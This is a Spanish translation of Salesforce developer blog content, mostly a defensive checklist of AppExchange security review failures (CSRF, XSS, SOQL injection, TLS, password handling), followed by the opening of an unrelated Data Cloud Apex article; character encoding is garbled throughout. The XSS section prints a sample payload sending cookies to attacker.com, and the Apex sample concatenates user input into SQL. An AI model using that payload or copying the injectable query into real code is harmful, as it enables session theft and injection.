Todas las conexiones entrantes y salientes que involucran a sus comunidades, sitios y portales de Salesforce deben utilizar Transport Layer Security (TLS) 1.2. Este requisito es v谩lido en los modos Lightning Experience y Salesforce Classic para comunidades y sitios, independientemente de si est谩n en las ediciones Essentials, Enterprise, Performance, Unlimited o Developer.

驴C贸mo puedo abordar esto?

Verifique que el acceso a su navegador, las integraciones de API y otras funciones de Salesforce sean compatibles con TLS 1.2.

Una forma sencilla de hacerlo es utilizar Qualys SSL Scanner. El equipo de revisi贸n de seguridad ejecutar谩 este an谩lisis en todos y cada uno de los puntos finales externos o que no sean de Salesforce involucrados en su soluci贸n. Si sus terminales no reciben una calificaci贸n A por cumplimiento de SSL/TLS, su revisi贸n de seguridad no ser谩 aprobada.

Para ejecutar el escaneo, simplemente ingrese la URL base en el formulario web de prueba del servidor SSL de Qualys y presione Enviar.

Puede encontrar m谩s detalles sobre los requisitos de TLS en las notas de la versi贸n .

#6 鈥 Informaci贸n confidencial en depuraci贸n

驴Qu茅 es esto?

Este tipo de vulnerabilidad describe situaciones en las que se filtra informaci贸n confidencial, como secretos de aplicaciones, datos del sistema o informaci贸n de depuraci贸n demasiado detallada, a trav茅s de funciones de registro u otros flujos de salida. Por lo general, esto sucede cuando el registro detallado est谩 habilitado para fines de desarrollo, pero luego no se reduce adecuadamente antes de enviarlo para la revisi贸n de seguridad de AppExchange.

驴C贸mo puedo abordar esto?

En su paquete de Salesforce, aseg煤rese de buscar en su c贸digo fuente todas las declaraciones de depuraci贸n del paquete para asegurarse de que no registren informaci贸n confidencial o secretos.

Aseg煤rese de que los c贸digos de error y los mensajes de error en toda su soluci贸n tengan un nivel de informaci贸n apropiado para que todos los usuarios los vean. Por ejemplo, los usuarios habituales generalmente no deber铆an ver seguimientos de pila completos ni informaci贸n de depuraci贸n detallada. De manera similar, aseg煤rese de que otras funciones de registro o flujos de salida tampoco filtren datos confidenciales.

Code Analyzer y PMD para VS Code pueden ayudarlo a detectar estos problemas en las aplicaciones de Salesforce, y los esc谩neres de aplicaciones web como Burp Suite , Chimera u OWASP ZAP tambi茅n pueden ayudarlo a detectar estos problemas en sus integraciones externas y aplicaciones web.

Obtenga m谩s informaci贸n sobre c贸mo verificar los seguimientos de la pila e informaci贸n detallada sobre las excepciones en el n煤mero 13.

#7 – CSRF

驴Qu茅 es esto?

La falsificaci贸n de solicitudes entre sitios (CSRF) es un tipo de ataque que enga帽a a una v铆ctima para que ejecute acciones no deseadas en una aplicaci贸n web en la que est谩 autenticada. Explotar la confianza que un sitio tiene en el navegador del usuario puede llevar a acciones potencialmente da帽inas, como cambiar direcciones de correo electr贸nico y contrase帽as, o incluso realizar transacciones sin el conocimiento o consentimiento del usuario.

En la plataforma Salesforce, existe un token anti-CSRF para contrarrestar dichos ataques, que ofrece protecci贸n mientras se utilizan controladores y m茅todos est谩ndar. Sin embargo, los desarrolladores pueden eludir involuntariamente estas salvaguardas anti-CSRF al crear sus propios m茅todos de acci贸n.

驴C贸mo puedo abordar esto?

En general, las aplicaciones web pueden prevenir ataques CSRF principalmente implementando tokens anti-CSRF, que son valores 煤nicos y espec铆ficos del usuario incluidos en cada solicitud de cambio de estado para verificar la fuente. Adem谩s, deben adoptar la pr谩ctica de cookies del mismo sitio, que impide que el navegador env铆e la cookie junto con solicitudes entre sitios, mitigando as铆 los riesgos de CSRF.

Para p谩ginas de Visualforce:

  • Al crear p谩ginas de Visualforce, evite utilizar solicitudes HTTP GET que cambien de estado; use POST o PUT para cambios de estado en su lugar
  • No ejecute acciones autom谩ticas ni cambie el estado (por ejemplo, operaciones DML) al cargar la p谩gina.
  • Otra t茅cnica de mitigaci贸n implica agregar una p谩gina de confirmaci贸n intermedia antes de realizar la acci贸n, donde el usuario puede confirmar que ten铆a la intenci贸n de realizar esa acci贸n.

Para componentes Lightning:

  • De manera similar a las p谩ginas de Visualforce, evite cambiar el estado o ejecutar acciones al cargar un componente Lightning, mediante enlaces como init (para Aura) ,connectedCallback , renderedCallback o constructor .

Al realizar llamadas API:

  • Para las API que no son de Salesforce, es posible que tambi茅n desee agregar su propio token CSRF.

CSRF es uno de los tipos de problemas de seguridad m谩s complicados, por lo que vale la pena invertir en aprender m谩s sobre 茅l en profundidad. Para los paquetes de Salesforce, existe excelente documentaci贸n para desarrolladores y un m贸dulo Trailhead como referencia.

Para otros tipos de aplicaciones web, es posible que desees consultar la documentaci贸n de OWASP .

Los esc谩neres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , tambi茅n pueden ayudarle a detectar estos problemas en sus aplicaciones web externas.

N.潞 8: secuencias de comandos entre sitios (XSS) almacenadas y reflejadas

驴Qu茅 es esto?

Los ataques de secuencias de comandos entre sitios (XSS) son problemas de inyecci贸n en los que se insertan secuencias de comandos da帽inas en sitios web confiables. Ocurren cuando un atacante explota una aplicaci贸n web para enviar c贸digo malicioso, a menudo un script del lado del cliente, a un usuario diferente. Estos ataques explotan fallas en aplicaciones web que utilizan entradas de usuario no validadas o codificadas en su salida.

En un ataque XSS, el navegador de un usuario desprevenido ejecuta el script malicioso, creyendo que proviene de una fuente confiable. Esto permite que el script acceda a cookies, tokens de sesi贸n u otros datos confidenciales almacenados en el navegador. Incluso puede modificar el contenido HTML de la p谩gina.

Los ataques XSS almacenados son de tipo persistente, en los que la aplicaci贸n web almacena la entrada maliciosa y luego se muestra a los usuarios. Los ataques XSS reflejados, por otro lado, generalmente ocurren cuando se inyecta c贸digo malicioso en una URL, que se ejecuta cuando un usuario hace clic en ella (por ejemplo: http://example.com/search?query=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie;</script> ).

Los motivos por los que su aplicaci贸n podr铆a ser susceptible incluyen:

  • Entrada no validada : las aplicaciones pueden aceptar entradas del usuario y usarlas o mostrarlas en una p谩gina sin validarlas adecuadamente (para garantizar que no contenga c贸digo/scripts ejecutables).
  • Campos de texto enriquecido : almacenar entradas en campos RTF de Salesforce es riesgoso porque admiten contenido HTML, por lo que debe validar la entrada para evitar que se almacenen XSS.
  • P谩ginas de Visualforce : pueden ser susceptibles si utilizan entradas generadas por el usuario en el cuerpo HTML o en JavaScript sin un escape de entrada o codificaci贸n de salida adecuados.
  • Componentes web Aura y Lightning (LWC) : aunque tienen protecciones integradas contra XSS, los desarrolladores pueden evitar estas protecciones mediante cosas como el uso de la propiedad innerHTML , lwc:dom=鈥漨anual鈥 o el componente lightning:formattedRichText sin la validaci贸n de entrada adecuada.
  • Par谩metros de URL : las aplicaciones pueden usarlos directamente en el HTML o JavaScript de una p谩gina sin validaci贸n (lo que lleva a XSS reflejado).

驴C贸mo puedo abordar esto?

Su objetivo principal debe ser evitar la manipulaci贸n de DOM, pero tambi茅n recomendamos practicar el filtrado de entrada y la codificaci贸n de salida, que incluyen:

  • Evite la manipulaci贸n del modelo de objetos de documento (DOM): en su lugar, utilice t茅cnicas como directivas de plantilla y evite funciones de JavaScript potencialmente inseguras (por ejemplo, eval() , DOMParser.parseFromString() , Document.implementation.createHTMLDocument() , setTimeout() , setInterval() )
  • Filtrado de entrada: aseg煤rese de que la entrada del usuario no contenga c贸digo ejecutable mediante el uso de expresiones regulares y listas de bloqueo o listas de permitidos (por ejemplo, filtre los caracteres com煤nmente utilizados en el c贸digo, como '<', '>', comillas simples o dobles, ' /', ';', corchetes, par茅ntesis u operadores matem谩ticos o l贸gicos como '+', '&' o '-')
  • Codificaci贸n de salida : aseg煤rese de que si el c贸digo ejecutable pasara el filtrado de entrada, no se interprete como c贸digo al convertir caracteres "peligrosos" en versiones de texto inofensivas (por ejemplo, '&; debe convertirse a &amp; y '<' o '>' debe convertirse a &lt; y &gt;)

Este m贸dulo de Trailhead explica exactamente c贸mo mitigar XSS con estas t茅cnicas, y nuestra documentaci贸n para desarrolladores tambi茅n es 煤til aqu铆. Para obtener consejos espec铆ficos sobre la protecci贸n contra XSS en componentes Lightning, consulte la p谩gina Seguridad Lightning en la Gu铆a de codificaci贸n segura.

Para aplicaciones web que no son de Salesforce, tambi茅n puede consultar la documentaci贸n de OWASP para obtener consejos adicionales.

Los esc谩neres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , tambi茅n pueden ayudarle a detectar estos problemas.

#9: JavaScript no est谩 en recursos est谩ticos

驴Qu茅 es esto?

Muchos paquetes administrados por Salesforce no pasan la revisi贸n de seguridad por no almacenar JavaScript como recursos est谩ticos en sus paquetes y, en su lugar, se vinculan a archivos JavaScript alojados externamente con etiquetas <script> . La raz贸n principal de esta regla es que permite un control de versiones mucho m谩s seguro y garantiza la integridad de los archivos JavaScript en su paquete de Salesforce incluso si la fuente externa est谩 comprometida.

驴C贸mo puedo abordar esto?

Nuestra regla es que todos los recursos de script y estilo deben agregarse al paquete como recursos est谩ticos y luego cargarse con una etiqueta <apex:includeScript> en su p谩gina (para Visualforce) o un ltng:require en su .cmp o .app. marcado (para Aura).

Nota: Si tiene un LWC, defina los m贸dulos JavaScript que importe a su componente o use la funci贸n loadScript para cargar un archivo JavaScript de recursos est谩ticos.

Para paquetes que no son LWC, la mejor manera de verificar este problema es buscar manualmente su c贸digo fuente para asegurarse de que todas las bibliotecas de JavaScript est茅n almacenadas como recursos est谩ticos, no cargadas din谩micamente a trav茅s de hiperv铆nculos.

Para situaciones en las que esto no sea factible, recomendamos programar una cita en horario de oficina t茅cnica para analizar su caso de uso. Es posible obtener una excepci贸n en ciertos casos.

Obtenga m谩s informaci贸n sobre este problema en nuestra documentaci贸n para desarrolladores .

#10 鈥 Inyecci贸n SOQL

驴Qu茅 es esto?

La inyecci贸n SOQL es la versi贸n espec铆fica de Salesforce de la inyecci贸n SQL. Ocurre cuando una entrada no validada proporcionada por el usuario se inserta directamente en una consulta SOQL din谩mica. Si la entrada no est谩 validada, puede incluir comandos SOQL que modifican efectivamente la declaraci贸n SOQL y enga帽an a la aplicaci贸n para que ejecute comandos no deseados.

驴C贸mo puedo abordar esto?

La forma m谩s sencilla de evitar el problema es evitar consultas din谩micas en favor de consultas est谩ticas y utilizar variables vinculantes. De lo contrario, deber谩 validar estrictamente las entradas del usuario antes de usarlas en consultas mediante t茅cnicas como encasillamiento, lista blanca de entradas o escape.

Code Analyzer , PMD para VS Code y Checkmarx tambi茅n pueden ayudarlo a escanear su c贸digo.

Para obtener m谩s informaci贸n, consulte nuestro m贸dulo Trailhead o revise nuestra documentaci贸n para desarrolladores .

Para aplicaciones que no son de Salesforce, es posible que desee obtener m谩s informaci贸n sobre la inyecci贸n SQL en la gu铆a OWASP . Los esc谩neres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , tambi茅n pueden ayudar a identificar problemas de inyecci贸n SQL.

#11 鈥 Lightning: carga CSS inadecuada

驴Qu茅 es esto?

Similar al problema de usar etiquetas <script> o <link> para cargar JavaScript en sus paquetes, usar etiquetas <link> o <style> para cargar CSS en lugar de <apex:stylesheet> (Visualforce) o <ltng:require> ( Aura) se considera una pr谩ctica insegura. Estas etiquetas <link> y <style> pueden hacer referencia a recursos externos o en l铆nea que contienen CSS o JavaScript, y la arquitectura de seguridad Lightning Web Security (LWS) de Salesforce no los controla ni los desinfecta.

Para los componentes de Aura, en particular, el uso de <ltng:require> tambi茅n permite a Salesforce aplicar correctamente las reglas de seguridad LWS y garantizar que el CSS que est谩 cargando est茅 correctamente aislado y no incluya c贸digo o estilos JavaScript no seguros que puedan afectar negativamente a otros. partes de su aplicaci贸n Salesforce.

驴C贸mo puedo abordar esto?

Para hacer referencia a un recurso CSS externo que haya subido como recurso est谩tico, use una etiqueta <apex:stylesheet> en su p谩gina (para Visualforce) o una etiqueta <ltng:require> en su marcado .cmp o .app (para Aura ). Busque el c贸digo fuente de su paquete para asegurarse de que no haya utilizado etiquetas <link> o <style> en ning煤n lugar para cargar recursos CSS.

Nota: Si tiene una LWC, no puede encontrarse con este problema de todos modos porque, al igual que las etiquetas <script> , las etiquetas <style> ya est谩n bloqueadas para su uso dentro de las plantillas HTML. En su lugar, incluir铆a su CSS en el archivo CSS asociado de su componente o usar铆a la funci贸n loadStyle para cargar un archivo CSS de recursos est谩ticos.

Puede encontrar m谩s informaci贸n en nuestra documentaci贸n para desarrolladores .

#12: JavaScript en Salesforce DOM (solo experiencia cl谩sica)

驴Qu茅 es esto?

Salesforce tiene reglas estrictas sobre el uso de JavaScript y una de esas reglas es que JavaScript no se puede ejecutar directamente dentro del contexto de la aplicaci贸n Salesforce. Esto significa que no puede incluir bloques de JavaScript directamente dentro de los componentes que se ejecutan en Salesforce DOM, como HomePageComponents, WebLinks, Custom Buttons, etc.

En cambio, todo JavaScript debe residir bajo el dominio de espacio de nombres de su aplicaci贸n en las p谩ginas de Visualforce que usted controla, de modo que el JavaScript personalizado est茅 esencialmente aislado del DOM principal de Salesforce. Eso significa que no puede usar JavaScript para crear botones personalizados, pesta帽as web, componentes de p谩gina de inicio y elementos similares (por ejemplo, incluir controladores de eventos de JavaScript onclick en botones personalizados podr铆a ser motivo de falla).

驴C贸mo puedo abordar esto?

Esto es algo que deber谩 verificar manualmente en el c贸digo fuente de su paquete Salesforce. Verifique y aseg煤rese de que no haya utilizado JavaScript para crear botones personalizados, pesta帽as web, componentes de la p谩gina de inicio u otros elementos similares, y verifique que cualquier JavaScript personalizado est茅 incluido solo en el dominio de su aplicaci贸n con espacio de nombres en las p谩ginas de VisualForce que controla como parte de su aplicaci贸n.

Una forma de verificar esto es buscar el texto <openType>onClickJavaScript</openType> en los archivos de metadatos de la aplicaci贸n (a menudo en archivos XML como weblink/something.weblink) y, si lo encuentra, aseg煤rese de eliminarlo. Incluso si su aplicaci贸n solo est谩 destinada a usarse en Lightning Experience, si la vulnerabilidad est谩 presente para los usuarios en modo Cl谩sico, el paquete no se puede aprobar.

Esta regla en particular no est谩 especialmente bien documentada, pero puede leer m谩s en el documento Lista de verificaci贸n de revisi贸n de seguridad de AppExchange (se requiere iniciar sesi贸n en la comunidad de socios).

#13 鈥 Divulgaci贸n de informaci贸n en p谩ginas de error y excepciones

驴Qu茅 es esto?

En el contexto de la revisi贸n de seguridad de AppExchange, este t茅rmino se refiere espec铆ficamente a situaciones (generalmente en aplicaciones o servicios web que no son de Salesforce o fuera de plataforma) donde sus p谩ginas de error muestran datos confidenciales del sistema o informaci贸n de depuraci贸n. Por ejemplo, a veces las p谩ginas de error incluyen seguimientos de pila completos que muestran c贸mo se hace referencia internamente a los objetos o rutas de archivo relativas al lugar donde est谩 instalada la aplicaci贸n. A veces, incluso la informaci贸n confidencial queda expuesta de esta manera.

驴C贸mo puedo abordar esto?

Busque en su base de c贸digo llamadas que causen excepciones o que los seguimientos de pila se representen en cadenas o flujos de salida, y realice pruebas que puedan causar errores, como entradas no v谩lidas, entradas vac铆as, entradas demasiado largas, acceso a p谩ginas internas sin autenticaci贸n, omisi贸n de aplicaciones. flujo, etc

La herramienta de fuzzing de Burp Suite puede ser una gran ayuda en este caso.

Tambi茅n puede obtener excelentes consejos para realizar pruebas de seguimiento de pila a trav茅s de esta gu铆a de OWASP .

#14 鈥 Componentes de Aura: componente externo de CSS

驴Qu茅 es esto?

Se supone que los componentes de Aura son peque帽os, aut贸nomos, reutilizables y reposicionables. CSS que evita la encapsulaci贸n de componentes (a trav茅s de .THIS) o que utiliza un posicionamiento no est谩ndar (por ejemplo, flotante o posici贸n: absoluta o fija) infringe estas garant铆as y puede interferir con la visualizaci贸n de otros componentes. En particular, el uso del posicionamiento absoluto en CSS es la raz贸n principal de este tipo de falla.

Si bien esto puede no parecer un problema de seguridad a primera vista, puede alterar el dise帽o del sitio web de Salesforce y viola el esp铆ritu del modelo de seguridad de Lightning, donde los componentes est谩n estrictamente aislados y se garantiza que permanecer谩n en su propio carril.

驴C贸mo puedo abordar esto?

Este es otro problema que debes verificar manualmente. B谩sicamente, busque en el CSS de su componente Aura, especialmente para posicionamiento absoluto/fijo o ancho y alto fijos. Tambi茅n recomendamos revisar nuestra documentaci贸n para asegurarse de que est谩 siguiendo todas las reglas CSS correctas.

#15 鈥 Canal de mensajes expuesto

驴Qu茅 es esto?

Este t茅rmino se refiere espec铆ficamente a los casos en los que no ha configurado el indicador isExposed en Lightning Message Channel en falso. Dado que esto proporciona acceso a la API del Servicio de mensajes Lightning (LMS), que le permite publicar y suscribirse a mensajes en todo el DOM y entre Aura, Visualforce y Lightning Web Components, debe establecerse en falso a menos que sea realmente necesario.

驴C贸mo puedo abordar esto?

Tiene dos opciones, seg煤n su caso de uso, que incluyen:

  1. Registre un ticket de soporte para solicitar que se habilite la eliminaci贸n de componentes administrados para su paquete u organizaci贸n de Dev Hub y elimine el componente del paquete. Si no puede hacerlo (por ejemplo, si esto afectar铆a la funcionalidad de los suscriptores que dependen de canales de mensajes expuestos), puede dejar el componente en el paquete y simplemente no usarlo (aseg煤rese de mencionar esto espec铆ficamente en un mensaje falso). documento positivo sobre su presentaci贸n).
  2. Si tiene que utilizar un componente de canal LMS, aseg煤rese de tener isExposed=false . Esto debe hacerse creando un nuevo componente de canal LMS porque los componentes existentes con isExposed=true no pueden cambiar isExposed=false . Utilice 煤nicamente el componente reci茅n creado en el c贸digo.

M谩s informaci贸n est谩 disponible en la documentaci贸n .

#16 鈥 Informaci贸n confidencial en URL

驴Qu茅 es esto?

Esto se refiere a una situaci贸n en la que se env铆a informaci贸n confidencial de larga duraci贸n en URL (por ejemplo, un ID o secreto de cliente, o un nombre de usuario/contrase帽a). En realidad, esto puede llevar a que se filtren secretos a largo plazo de varias maneras posibles. Por ejemplo:

  • Las URL completas a menudo se almacenan en servidores en registros de texto sin cifrar que pueden no almacenarse de forma segura y pueden ser vistos por el personal o comprometidos por un tercero.
  • Los motores de b煤squeda indexan URL y almacenan inadvertidamente informaci贸n confidencial
  • Almacenamiento de rutas URL completas en el historial del navegador local, cach茅 del navegador, marcadores y marcadores sincronizados entre dispositivos
  • Informaci贸n de URL enviada a aplicaciones web de terceros a trav茅s del encabezado de referencia o expuesta a scripts de terceros en la p谩gina

驴C贸mo puedo abordar esto?

Burp Suite puede ayudarle aqu铆 para aplicaciones web que no sean de Salesforce o fuera de plataforma, pero en general recomendamos comprobar manualmente su aplicaci贸n para detectar cualquier caso en el que se env铆en secretos a largo plazo a trav茅s de URL. Dependiendo de su caso de uso, es posible que deba realizar cambios, como usar solicitudes POST en lugar de solicitudes GET, cambiar su m茅todo de autenticaci贸n (OAuth 2.0 es generalmente ideal) y emplear cifrado y mejores m茅todos de almacenamiento de secretos.

La gu铆a OWASP es un gran recurso a seguir.

#17 鈥 Punto final inseguro

驴Qu茅 es esto?

El nombre de esta vulnerabilidad simplemente se refiere a situaciones en las que se utiliza HTTP en lugar de HTTPS.

驴C贸mo puedo abordar esto?

Las herramientas de escaneo pueden ser de ayuda, pero una forma a煤n m谩s segura de verificar esto es buscar en el c贸digo fuente enlaces HTTP y cambiarlos a HTTPS. Puede aprender un poco m谩s sobre c贸mo esto mejora la seguridad en esta p谩gina de OWASP .

#18 鈥 Enumeraci贸n de nombre de usuario o correo electr贸nico

驴Qu茅 es esto?

Por lo general, este problema solo surge en aplicaciones web externas fuera de la plataforma Salesforce. Se refiere a una situaci贸n en la que los atacantes pueden enumerar listas de nombres de usuario o correos electr贸nicos de su base de usuarios, generalmente analizando cambios en mensajes de error en funciones de inicio de sesi贸n, funciones de olvido de contrase帽a o registros de cuentas. Los atacantes suelen hacer esto para poder comprobar si hay contrase帽as reutilizadas de bases de datos comprometidas y fugas o volcados de contrase帽as.

驴C贸mo puedo abordar esto?

Verifique sus mensajes de error para registros de cuentas, recuperaci贸n de contrase帽as, intentos de inicio de sesi贸n, etc., y aseg煤rese de que su mensaje de error sea el mismo independientemente de si el nombre de usuario o el correo electr贸nico ingresado es v谩lido.

Por ejemplo, muchos sitios incluyen un mensaje gen茅rico, como: "Si dicho usuario existe, recibir谩 un correo electr贸nico con un restablecimiento de contrase帽a". Este tipo de mensaje general evita confirmar la existencia de un nombre de usuario o correo electr贸nico.

Por supuesto, en determinadas situaciones, puede ser inevitable (por ejemplo, durante el registro de una cuenta, es posible que deba confirmar que se ha utilizado un nombre de usuario). En esas situaciones, intente implementar controles que impidan la enumeraci贸n por fuerza bruta, como captchas para evitar que los robots eliminen su formulario de registro.

Burp Suite es una excelente herramienta para verificar esto, pero si no la tiene, tambi茅n puede revisar sus funcionalidades de inicio de sesi贸n manualmente.

OWASP tiene una gu铆a 煤til para evitar la enumeraci贸n de correos electr贸nicos y nombres de usuarios.

#19 鈥 Gesti贸n de contrase帽as

驴Qu茅 es esto?

En ocasiones, el equipo de seguridad falla en sitios y aplicaciones web externos (que no sean Salesforce) por tener pol铆ticas de contrase帽as problem谩ticas, como por ejemplo:

  • Permitir la reutilizaci贸n de la misma contrase帽a cuando es necesario restablecerla
  • No solicitar la contrase帽a anterior cuando se permite a los usuarios establecer una nueva contrase帽a
  • Para restablecer la contrase帽a, enviar una contrase帽a temporal al correo electr贸nico de un usuario en texto sin formato
  • Dejar contrase帽as predeterminadas en los usuarios ra铆z del servidor o de la base de datos

驴C贸mo puedo abordar esto?

Adem谩s de evitar las situaciones anteriores, consulte la Hoja de referencia de autenticaci贸n de OWASP para obtener algunas pautas sobre c贸mo establecer pol铆ticas de contrase帽as seguras:

Burp Suite tambi茅n es muy 煤til para identificar problemas relacionados con las contrase帽as (por ejemplo, puede usarlo para intentar forzar sus p谩ginas de inicio de sesi贸n).

#20 鈥 Eco de contrase帽a

驴Qu茅 es esto?

Esto es un poco diferente del problema de administraci贸n de contrase帽as descrito anteriormente. Un eco de contrase帽a se refiere a situaciones en las que las contrase帽as se reflejan en texto sin formato en la interfaz de usuario (como cuando el usuario visita su propia p谩gina de configuraci贸n) o en llamadas API/respuestas JSON.

驴C贸mo puedo abordar esto?

Aseg煤rese de que su contrase帽a no se revele ni se transmita en texto sin formato en ninguna parte de su aplicaci贸n. Aseg煤rese de que en las p谩ginas de configuraci贸n u otras p谩ginas que muestran secretos, se muestren solo como asteriscos (se pueden mostrar al hacer clic en el bot贸n si es necesario).

Consulte la hoja de referencia sobre almacenamiento de contrase帽as de OWASP para obtener m谩s informaci贸n.

Burp Suite , o quiz谩s Chimera u OWASP ZAP , tambi茅n pueden ayudarle a detectar estos problemas.

Recursos adicionales

Si su soluci贸n incluye sitios web o aplicaciones web personalizados que no son de Salesforce, le recomendamos encarecidamente invertir en una licencia de Burp Suite si es financieramente viable para su organizaci贸n. Burp Suite es una de las mejores herramientas de seguridad del mercado y tambi茅n la utiliza mucho nuestro propio equipo de seguridad de productos. Chimera u OWASP ZAP son alternativas completamente gratuitas, pero prep谩rate para invertir m谩s tiempo en t茅rminos de revisi贸n manual, ya que carecen de muchas de las potentes funciones/herramientas que tiene Burp Suite.

Nota: Si su oferta se integra con aplicaciones o servicios web que no son de su propiedad, no intente escanear los puntos finales hasta que haya obtenido el permiso del propietario.

Salesforce Product Security tambi茅n utiliza Code Analyzer , PMD para VS Code y Checkmarx para revisar el c贸digo fuente del paquete Salesforce. Tambi茅n utilizan la base de datos CVE y el esc谩ner Qualys SSL en la mayor铆a de los env铆os.

Si tiene problemas de seguridad y necesita orientaci贸n t茅cnica, los socios ISV pueden registrarse para obtener horas de oficina gratuitas con nuestros ingenieros de seguridad a trav茅s del Portal de seguridad para socios .

Por 煤ltimo, no podemos recomendar lo suficiente Trailhead en t茅rminos de preparaci贸n para revisiones de seguridad. Vale la pena dedicar tiempo a la ruta Desarrollar aplicaciones web seguras y tambi茅n acabamos de renovar el m贸dulo Revisi贸n de seguridad de AppExchange , que analiza el proceso de env铆o de un extremo a otro.

Sobre el Autor

Anika Teppo es evangelista t茅cnica en Salesforce. Ha estado trabajando con el equipo de revisi贸n de seguridad de AppExchange en Salesforce desde 2017, y su funci贸n actual consiste en hacer que Salesforce Labs y las soluciones internas se revisen y publiquen en AppExchange.

Obtenga las 煤ltimas publicaciones de blog y episodios de podcasts para desarrolladores de Salesforce a trav茅s de Slack o RSS.

A帽adir a holgura Suscr铆bete a RSS

Seguir leyendo

Liberando el poder de Apex en Salesforce Data Cloud 鈥 Parte 1 鈽侊笍

Liberando el poder de Apex en Salesforce Data Cloud 鈥 Parte 1 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Libere el poder de Apex en Salesforce Data Cloud 鈥 Parte 1 | Blog de desarrolladores de Salesforce

Trailblazer.me estar谩 fuera de l铆nea por mantenimiento programado a partir del 21 de julio de 2023 a las 6 p. m. (hora del Pac铆fico) hasta el 22 de julio de 2023 mientras transformamos Trailblazer.me en la nueva cuenta de Trailblazer. Durante este tiempo de inactividad, no podr谩 iniciar sesi贸n en ninguna aplicaci贸n relacionada, incluidas Ayuda y capacitaci贸n, AppExchange, Trailhead y Trailblazer Community, y m谩s.

Salesforce Data Cloud permite a los desarrolladores aprovechar el poder de los grandes datos para las empresas. Al utilizar Data Cloud, los clientes pueden consolidar los datos de clientes de m煤ltiples sistemas en una 煤nica instancia de Salesforce, creando una vista unificada de los datos en toda la empresa. Estos datos se pueden utilizar para an谩lisis, aprendizaje autom谩tico y acciones automatizadas. En este primer blog de nuestra serie de dos partes, exploraremos diferentes utilidades de Apex para consultar datos en Data Cloud y brindaremos orientaci贸n sobre c贸mo utilizarlas de manera efectiva.

Apex ofrece una variedad de utilidades para Data Cloud. Por ejemplo, permite que los desarrolladores construyan con Lightning Web Components para personalizar las experiencias de usuario est谩ndar de Data Cloud, o que los ISV construyan su propio c贸digo para automatizar operaciones espec铆ficas de Data Cloud, como la resoluci贸n de identidades, la creaci贸n y ejecuci贸n de conocimientos calculados de Data Cloud o la segmentaci贸n.

Objetos de Salesforce Data Cloud frente a objetos est谩ndar/personalizados

Antes de analizar c贸mo consultar datos de Data Cloud, comprendamos un poco acerca de los objetos de Salesforce Data Cloud y c贸mo difieren con respecto a los objetos est谩ndar/personalizados de Salesforce Platform.

Salesforce Data Cloud tiene un modelo de datos can贸nico que incluye objetos de lago de datos (DLO) y objetos de modelo de datos (DMO). Puede leer acerca de c贸mo estos objetos se asignan entre s铆 y sus prop贸sitos en la documentaci贸n de ayuda.

Los objetos de Data Cloud pueden ingerir y almacenar vol煤menes de datos mucho m谩s grandes (en la magnitud de miles de millones de registros) en comparaci贸n con los objetos est谩ndar y personalizados regulares en la Plataforma de Salesforce. Los objetos est谩ndar/personalizados est谩n dise帽ados para casos de uso transaccional y no son adecuados para almacenar y procesar big data. Por otro lado, los objetos de Data Cloud agregan capacidades similares a las de un lago de datos .

Otra distinci贸n clave es que los objetos de Data Cloud no admiten disparadores Synchronous Apex. Sin embargo, a煤n puede lograr la automatizaci贸n de procesos suscribi茅ndose a Change Data Capture (CDC) y utilizando Flows o Apex. Lo que es com煤n entre los objetos de la nube de datos y los objetos de la plataforma es que est谩n construidos sobre la misma base impulsada por metadatos, lo que hace posible el uso de caracter铆sticas de la plataforma, como Salesforce Flow, Apex y Platform Events.

C贸mo consultar datos de Data Cloud en Apex

Antes de profundizar en alg煤n c贸digo, exploremos un ejemplo de caso de uso de una aplicaci贸n de nube de datos.

Ejemplo de caso de uso y supuestos

Para nuestros ejemplos de c贸digo en esta publicaci贸n de blog, supongamos que estamos trabajando para una empresa ficticia llamada Solar Circles que captura datos de todos sus paneles solares instalados en Data Cloud. Cada mes, se generan decenas de millones de puntos de datos a partir de estos paneles. Al tener estos datos en Data Cloud, Solar Circles obtiene la capacidad de realizar an谩lisis, utilizar t茅cnicas de aprendizaje autom谩tico y obtener informaci贸n procesable de los datos.

El c贸digo de Apex en esta publicaci贸n asume una condici贸n importante: la nube de datos est谩 habilitada y el c贸digo de Apex se ejecuta en la organizaci贸n de la nube de datos y no en las organizaciones de Salesforce que est谩n conectadas a la organizaci贸n de la nube de datos.

Consultar datos de Data Cloud usando SQL

Para acceder a datos de objetos de Data Cloud (DLO o DMO), utilice la clase CdpQuery (ver documentos ) en Apex. Esta clase est谩 disponible en el espacio de nombres ConnectApi (ver documentos ).

A continuaci贸n se muestra un fragmento de c贸digo de ejemplo que muestra c贸mo acceder a los datos de un objeto de nube de datos mediante una instrucci贸n SQL.

<dx-code-block title language="apex" code-block="@AuraEnabled(cacheable=true)
public static void getSolarPanelData(String customerId) { List<Map> returnData = new List<Map>(); // Create input for query operation ConnectApi.CdpQueryInput queryInput = new ConnectApi.CdpQueryInput(); queryInput.sql = ‘SELECT * ‘ + ‘FROM Solar_Panel_Events_solar_panel_F4C03__dlm ‘ + ‘WHERE CustomerId__c = 禄 + customerId + 禄 ‘ + ‘ORDER BY date_time__c DESC LIMIT 50’; // Execute SQL ConnectApi.CdpQueryOutputV2 response = ConnectApi.CdpQuery.queryAnsiSqlV2( queryInput ); Map responseMetadata = new Map(); responseMetadata = response.metadata; // Parse response System.debug( ‘Number of rows in the result data set ‘ + response.rowCount ); System.debug(‘Next batch ID ‘ + response.nextBatchId); System.debug(‘Query Metadata’ + responseMetadata); for (ConnectApi.CdpQueryV2Row resultRow : response.data) { for (Object result : resultRow.rowData) { system.debug(result); } } 芦>

En el ejemplo anterior, estamos recuperando datos para un componente LWC personalizado en una p谩gina Lightning de caso de objeto est谩ndar para un agente de servicio. El componente muestra datos de dispositivos recientes provenientes de los paneles instalados en el sitio del cliente.

Aspectos destacados del c贸digo

  • El m茅todo toma un par谩metro customerId , lo que indica que recupera los datos del panel solar para un cliente espec铆fico
  • Se crea una instancia de ConnectApi.CdpQueryInput llamada queryInput para definir la operaci贸n de consulta.
  • La propiedad queryInput.sql se establece con una consulta SQL que selecciona todos los campos del objeto de datos Solar_Panel_Events_solar_panel_F4C03__dlm , filtrado por CustomerId__c
